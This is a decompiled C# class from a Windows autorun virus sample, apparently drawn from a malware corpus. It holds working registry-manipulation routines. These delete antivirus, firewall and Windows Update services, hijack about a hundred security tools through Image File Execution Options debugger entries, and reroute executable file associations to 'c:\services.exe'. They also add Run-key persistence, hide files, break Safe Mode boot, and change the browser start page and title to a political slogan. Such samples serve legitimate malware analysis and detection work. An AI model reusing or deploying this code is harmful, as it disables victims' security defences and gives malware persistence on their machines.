// Decompiled with JetBrains decompiler
// Type: redice.ExecRegedit
// Assembly: redice, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A08BD253-D698-4C81-8053-905E15E13E56
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265.exe

using Microsoft.Win32;

namespace redice
{
  internal class ExecRegedit
  {
    public void changeIEtitle()
    {
      try
      {
        RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("software\\microsoft\\Internet Explorer\\main", true);
        registryKey1.SetValue("Window Title", (object) "抗日,是全中国人民义不容辞的责任！", RegistryValueKind.String);
        registryKey1.Close();
        RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("software\\microsoft\\Internet Explorer\\main", true);
        registryKey2.SetValue("Window Title", (object) "抗日,是全中国人民义不容辞的责任！", RegistryValueKind.String);
        registryKey2.Close();
      }
      catch
      {
      }
    }

    public void setIEStarPage()
    {
      try
      {
        RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("software\\microsoft\\Internet Explorer\\main", true);
        registryKey1.SetValue("start page", (object) "http://hi.baidu.com/zhongguokangri", RegistryValueKind.String);
        registryKey1.SetValue("local page", (object) "http://hi.baidu.com/zhongguokangri", RegistryValueKind.String);
        registryKey1.Close();
        RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("software\\microsoft\\Internet Explorer\\main", true);
        registryKey2.SetValue("start page", (object) "http://hi.baidu.com/zhongguokangri", RegistryValueKind.String);
        registryKey2.SetValue("local page", (object) "http://hi.baidu.com/zhongguokangri", RegistryValueKind.String);
        registryKey2.Close();
      }
      catch
      {
      }
    }

    public void killSafeServer()
    {
      this.execKillSafeServer("navapsvc");
      this.execKillSafeServer("wscsvc");
      this.execKillSafeServer("KPfwSvc");
      this.execKillSafeServer("SNDSrvc");
      this.execKillSafeServer("ccProxy");
      this.execKillSafeServer("ccEvtMgr");
      this.execKillSafeServer("ccSetMgr");
      this.execKillSafeServer("SPBBCSvc");
      this.execKillSafeServer("Symantec Core LC");
      this.execKillSafeServer("NPFMntor");
      this.execKillSafeServer("MskService");
      this.execKillSafeServer("MskService");
      this.execKillSafeServer("FireSvc");
      this.execKillSafeServer("avp");
    }

    private void execKillSafeServer(string serverName)
    {
      RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services", true);
      try
      {
        registryKey.DeleteSubKeyTree(serverName);
        registryKey.Close();
      }
      catch
      {
      }
    }

    public void delOtherVirusReg()
    {
      this.delOtherVirusRegMeans("{DE35052A-9E37-4827-A1EC-79BF400D27A4}");
      this.delOtherVirusRegMeans("{AEB6717E-7E19-11d0-97EE-00C04FD91972}");
      this.delOtherVirusRegMeans("{DD7D4640-4464-48C0-82FD-21338366D2D2}");
      this.delOtherVirusRegMeans("{B8A170A8-7AD3-4678-B2FE-F2D7381CC1B5}");
      this.delOtherVirusRegMeans("{131AB311-16F1-F13B-1E43-11A24B51AFD1}");
      this.delOtherVirusRegMeans("{274B93C2-A6DF-485F-8576-AB0653134A76}");
      this.delOtherVirusRegMeans("{1496D5ED-7A09-46D0-8C92-B8E71A4304DF}");
      this.delOtherVirusRegMeans("{0CB68AD9-FF66-3E63-636B-B693E62F6236}");
      this.delOtherVirusRegMeans("{09B68AD9-FF66-3E63-636B-B693E62F6236}");
      this.delOtherVirusRegMeans("{754FB7D8-B8FE-4810-B363-A788CD060F1F}");
      this.delOtherVirusRegMeans("{A6011F8F-A7F8-49AA-9ADA-49127D43138F}");
      this.delOtherVirusRegMeans("{06A68AD9-FF56-6E73-937B-B893E72F6226}");
      this.delOtherVirusRegMeans("{01F6EB6F-AB5C-1FDD-6E5B-FB6EE3CC6CD6}");
      this.delOtherVirusRegMeans("{06E6B6B6-BE3C-6E23-6C8E-B833E2CE63B8}");
      this.delOtherVirusRegMeans("{BC0ACA58-6A6F-51DA-9EFE-9D20F4F621BA}");
      this.delOtherVirusRegMeans("{AEB6717E-7E19-11d0-97EE-00C04FD91972}");
      this.delOtherVirusRegMeans("{99F1D023-7CEB-4586-80F7-BB1A98DB7602}");
      this.delOtherVirusRegMeans("{FEB94F5A-69F3-4645-8C2B-9E71D270AF2E}");
      this.delOtherVirusRegMeans("{923509F1-45CB-4EC0-BDE0-1DED35B8FD60}");
      this.delOtherVirusRegMeans("{42A612A4-4334-4424-4234-42261A31A236}");
    }

    private void delOtherVirusRegMeans(string virusRegValue)
    {
      RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks", true);
      try
      {
        registryKey.DeleteSubKey(virusRegValue, true);
        registryKey.Close();
      }
      catch
      {
      }
    }

    public void closeAutoUpdateAndSafeMiddle()
    {
      RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services", true);
      try
      {
        registryKey1.DeleteSubKey("SharedAccess", true);
        registryKey1.Close();
      }
      catch
      {
      }
      try
      {
        registryKey1.DeleteSubKey("wuauserv", true);
        registryKey1.Close();
      }
      catch
      {
      }
      RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\update", true);
      try
      {
        registryKey2.SetValue("UpdateMode", (object) 0, RegistryValueKind.DWord);
      }
      catch
      {
      }
    }

    public void recomposeFileRelating()
    {
      try
      {
        RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("batfile\\shell\\open\\command", true);
        registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'");
        registryKey.Close();
      }
      catch
      {
      }
      try
      {
        RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("cmdfile\\shell\\open\\command", true);
        registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'");
        registryKey.Close();
      }
      catch
      {
      }
      try
      {
        RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("comfile\\shell\\open\\command", true);
        registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'");
        registryKey.Close();
      }
      catch
      {
      }
      try
      {
        RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("regfile\\shell\\open\\command", true);
        registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'");
        registryKey.Close();
      }
      catch
      {
      }
      try
      {
        RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("scrfile\\shell\\open\\command", true);
        registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'");
        registryKey.Close();
      }
      catch
      {
      }
      try
      {
        RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("isofile\\shell\\open\\command", true);
        registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'");
        registryKey.Close();
      }
      catch
      {
      }
      try
      {
        RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("piffile\\shell\\open\\command", true);
        registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'");
        registryKey.Close();
      }
      catch
      {
      }
    }

    public void fileImageHijack()
    {
      this.addFileImageHijack("360rpt.exe");
      this.addFileImageHijack("360Safe.exe");
      this.addFileImageHijack("360tray.exe");
      this.addFileImageHijack("adam.exe");
      this.addFileImageHijack("AgentSvr.exe");
      this.addFileImageHijack("AppSvc32.exe");
      this.addFileImageHijack("AST.exe");
      this.addFileImageHijack("autoruns.exe");
      this.addFileImageHijack("avgrssvc.exe");
      this.addFileImageHijack("AvMonitor.exe");
      this.addFileImageHijack("avp.com");
      this.addFileImageHijack("avp.exe");
      this.addFileImageHijack("CCenter.exe");
      this.addFileImageHijack("ccSvcHst.exe");
      this.addFileImageHijack("FileDsty.exe");
      this.addFileImageHijack("FTCleanerShell.exe");
      this.addFileImageHijack("HijackThis.exe");
      this.addFileImageHijack("IceSword.exe");
      this.addFileImageHijack("iparmo.exe");
      this.addFileImageHijack("Iparmor.exe");
      this.addFileImageHijack("isPwdSvc.exe");
      this.addFileImageHijack("kabaload.exe");
      this.addFileImageHijack("KaScrScn.SCR");
      this.addFileImageHijack("KASMain.exe");
      this.addFileImageHijack("KASTask.exe");
      this.addFileImageHijack("KAV32.exe");
      this.addFileImageHijack("KAVDX.exe");
      this.addFileImageHijack("KAVPFW.exe");
      this.addFileImageHijack("KAVSetup.exe");
      this.addFileImageHijack("KAVStart.exe");
      this.addFileImageHijack("KISLnchr.exe");
      this.addFileImageHijack("KMailMon.exe");
      this.addFileImageHijack("KMFilter.exe");
      this.addFileImageHijack("KPFW32.exe");
      this.addFileImageHijack("KPFW32X.exe");
      this.addFileImageHijack("KPFWSvc.exe");
      this.addFileImageHijack("KRegEx.exe");
      this.addFileImageHijack("krepair.COM");
      this.addFileImageHijack("KsLoader.exe");
      this.addFileImageHijack("KVCenter.kxp");
      this.addFileImageHijack("KvDetect.exe");
      this.addFileImageHijack("KvfwMcl.exe");
      this.addFileImageHijack("KVMonXP.kxp");
      this.addFileImageHijack("KVMonXP_1.kxp");
      this.addFileImageHijack("kvol.exe");
      this.addFileImageHijack("kvolself.exe");
      this.addFileImageHijack("KvReport.kxp");
      this.addFileImageHijack("KVScan.kxp");
      this.addFileImageHijack("KVSrvXP.exe");
      this.addFileImageHijack("KVStub.kxp");
      this.addFileImageHijack("kvupload.exe");
      this.addFileImageHijack("kvwsc.exe");
      this.addFileImageHijack("KvXP.kxp");
      this.addFileImageHijack("KvXP_1.kxp");
      this.addFileImageHijack("KWatch.exe");
      this.addFileImageHijack("KWatch9x.exe");
      this.addFileImageHijack("KWatchX.exe");
      this.addFileImageHijack("loaddll.exe");
      this.addFileImageHijack("MagicSet.exe");
      this.addFileImageHijack("mcconsol.exe");
      this.addFileImageHijack("mmqczj.exe");
      this.addFileImageHijack("mmsk.exe");
      this.addFileImageHijack("NAVSetup.exe");
      this.addFileImageHijack("nod32krn.exe");
      this.addFileImageHijack("nod32kui.exe");
      this.addFileImageHijack("PFW.exe");
      this.addFileImageHijack("PFWLiveUpdate.exe");
      this.addFileImageHijack("QHSET.exe");
      this.addFileImageHijack("Ras.exe");
      this.addFileImageHijack("Rav.exe");
      this.addFileImageHijack("RavMon.exe");
      this.addFileImageHijack("RavMonD.exe");
      this.addFileImageHijack("RavStub.exe");
      this.addFileImageHijack("RavTask.exe");
      this.addFileImageHijack("RegClean.exe");
      this.addFileImageHijack("rfwcfg.exe");
      this.addFileImageHijack("RfwMain.exe");
      this.addFileImageHijack("rfwProxy.exe");
      this.addFileImageHijack("rfwsrv.exe");
      this.addFileImageHijack("RsAgent.exe");
      this.addFileImageHijack("Rsaupd.exe");
      this.addFileImageHijack("runiep.exe");
      this.addFileImageHijack("safelive.exe");
      this.addFileImageHijack("scan32.exe");
      this.addFileImageHijack("shcfg32.exe");
      this.addFileImageHijack("SmartUp.exe");
      this.addFileImageHijack("SREng.exe");
      this.addFileImageHijack("symlcsvc.exe");
      this.addFileImageHijack("SysSafe.exe");
      this.addFileImageHijack("TrojanDetector.exe");
      this.addFileImageHijack("Trojanwall.exe");
      this.addFileImageHijack("TrojDie.kxp");
      this.addFileImageHijack("UIHost.exe");
      this.addFileImageHijack("UmxAgent.exe");
      this.addFileImageHijack("UmxAttachment.exe");
      this.addFileImageHijack("UmxCfg.exe");
      this.addFileImageHijack("UmxFwHlp.exe");
      this.addFileImageHijack("UmxPol.exe");
      this.addFileImageHijack("UpLive.EXE.exe");
      this.addFileImageHijack("WoptiClean.exe");
      this.addFileImageHijack("zxsweep.exe");
    }

    private void addFileImageHijack(string safeSoftName)
    {
      try
      {
        string name = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options";
        string str = "c:\\services.exe";
        RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey(name, true);
        registryKey1.CreateSubKey(safeSoftName);
        registryKey1.Close();
        RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(name + "\\" + safeSoftName, true);
        registryKey2.SetValue("Debugger", (object) str, RegistryValueKind.String);
        registryKey2.Close();
      }
      catch
      {
      }
    }

    public void delRegeditHideFile()
    {
      try
      {
        RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL", true);
        try
        {
          registryKey.DeleteValue("CheckedValue", true);
        }
        catch
        {
        }
        try
        {
          registryKey.SetValue("CheckedValue", (object) 0, RegistryValueKind.String);
        }
        catch
        {
        }
      }
      catch
      {
      }
    }

    public void uodateRegeditAutoRun()
    {
      try
      {
        RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("software\\microsoft\\windows\\currentversion\\run", true);
        registryKey1.SetValue("WinSystem", (object) "c:\\services.exe", RegistryValueKind.String);
        registryKey1.Close();
        RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("software\\microsoft\\windows\\currentversion\\run", true);
        registryKey2.SetValue("WinSystem", (object) "c:\\services.exe", RegistryValueKind.String);
        registryKey2.Close();
      }
      catch
      {
      }
    }

    public void destroySafeMode()
    {
      try
      {
        RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\SafeBoot\\Minimal", true);
        RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\SafeBoot\\Network", true);
        RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal", true);
        RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network", true);
        try
        {
          registryKey1.DeleteSubKey("{4D36E967-E325-11CE-BFC1-08002BE10318}", true);
        }
        catch
        {
        }
        try
        {
          registryKey2.DeleteSubKey("{4D36E967-E325-11CE-BFC1-08002BE10318}", true);
        }
        catch
        {
        }
        try
        {
          registryKey3.DeleteSubKey("{4D36E967-E325-11CE-BFC1-08002BE10318}", true);
        }
        catch
        {
        }
        try
        {
          registryKey4.DeleteSubKey("{4D36E967-E325-11CE-BFC1-08002BE10318}", true);
        }
        catch
        {
        }
      }
      catch
      {
      }
    }
  }
}
